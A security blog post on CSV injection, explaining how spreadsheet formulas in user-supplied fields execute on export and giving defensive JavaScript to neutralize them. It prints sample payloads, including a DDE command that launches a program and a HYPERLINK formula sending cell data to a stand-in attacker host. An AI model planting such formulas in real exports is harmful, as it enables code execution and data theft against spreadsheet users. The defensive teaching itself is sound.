A team adds a tidy little feature: admins can export the user list to CSV. Months later, an admin opens the export and their machine launches a program they never approved. No server was hacked. The payload was a user's display name — and the spreadsheet ran it.
That's CSV injection, and it hides in one of the most boring features you can build.
How a formula ends up in your export
Spreadsheets treat any cell that begins with =, +, -, or @ as a formula. A CSV file is just text, so when your app writes a user-supplied value into a cell and someone opens the file in Excel or Google Sheets, the app happily evaluates it.
Type a payload below and watch what the spreadsheet does with it — then flip on sanitization:
A user sets their display name — an admin later exports the list to CSV
id,display_name 1,=1+1
⚠ Spreadsheet executes the formula
Evaluates as a formula (e.g. =1+1 → 2) instead of showing as text.
The danger isn't arithmetic like =1+1. Real payloads abuse spreadsheet features:
=1+1 → proof the cell is executed, not shown
=cmd|'/c calc'!A1 → DDE: launches an external program
=HYPERLINK("https://evil.tld?c="&A1,"Prize") → exfiltrates another cell on clickThe attacker only ever supplies a field value. The victim is whoever opens the export — and that's usually someone with admin rights.
Why escaping alone doesn't save you
People reach for RFC 4180 quoting and assume they're done:
// Correct CSV quoting — but NOT a fix for injection
const field = '"' + value.replace(/"/g, '""') + '"';Quoting makes the CSV parse correctly. It does nothing to stop the spreadsheet from evaluating =cmd|... once the quotes are stripped on open. You need to neutralize the formula trigger itself.
The fix: neutralize the leading character
Prefix any value that starts with a formula character with a single quote, which forces the spreadsheet to treat the whole cell as text:
function safeCell(value) {
// Excel/Sheets treat = + - @ TAB CR as formula starts
if (/^[=+\-@\t\r]/.test(value)) {
return "'" + value; // leading quote → literal text
}
return value;
}
// Combine with RFC 4180 quoting for a correct AND safe field:
function csvField(value) {
const v = safeCell(String(value));
return /[",\n]/.test(v) ? '"' + v.replace(/"/g, '""') + '"' : v;
}Layer two more defenses on top:
- Validate at the boundary. A display name or username should never start with
=,+,-, or@. Reject or strip it on input so the bad value never reaches your database, not just your export. - Set the right expectations on open. If you control the consuming spreadsheet, importing as text (rather than auto-detecting formulas) avoids evaluation entirely.
The takeaway
CSV injection is a reminder that "output" is an attack surface. Your server can be flawless while the vulnerability lives in another program — the spreadsheet — that runs your data later. Treat every exported cell as untrusted, neutralize formula triggers, and validate input where it enters.
Want to feel it rather than read it? The interactive simulation lets you exploit a vulnerable export and then watch your own fix shut it down.
Frequently Asked Questions
Related posts
Prompt Injection: Why You Can't Fix It With a Better Prompt
Prompt injection isn't a filtering problem you can prompt your way out of. It's an architecture problem — the model can't tell your instructions from the data it's reading. Here's what actually contains it.
Jul 28, 2026 · 11 min readPhishing URLs: How Attackers Fake Domains (and How to Read Them)
Typosquatting, homograph attacks, subdomain deception, and the @ trick — learn the handful of URL tricks behind most phishing, and the one habit that beats all of them.
Jun 13, 2026 · 7 min readSQL Injection Prevention — A Practical Guide with Code Examples
Learn how to prevent SQL injection in Node.js, Python, Java, PHP, and more with parameterized queries, ORMs, and input validation patterns that actually work.
Apr 8, 2026 · 9 min read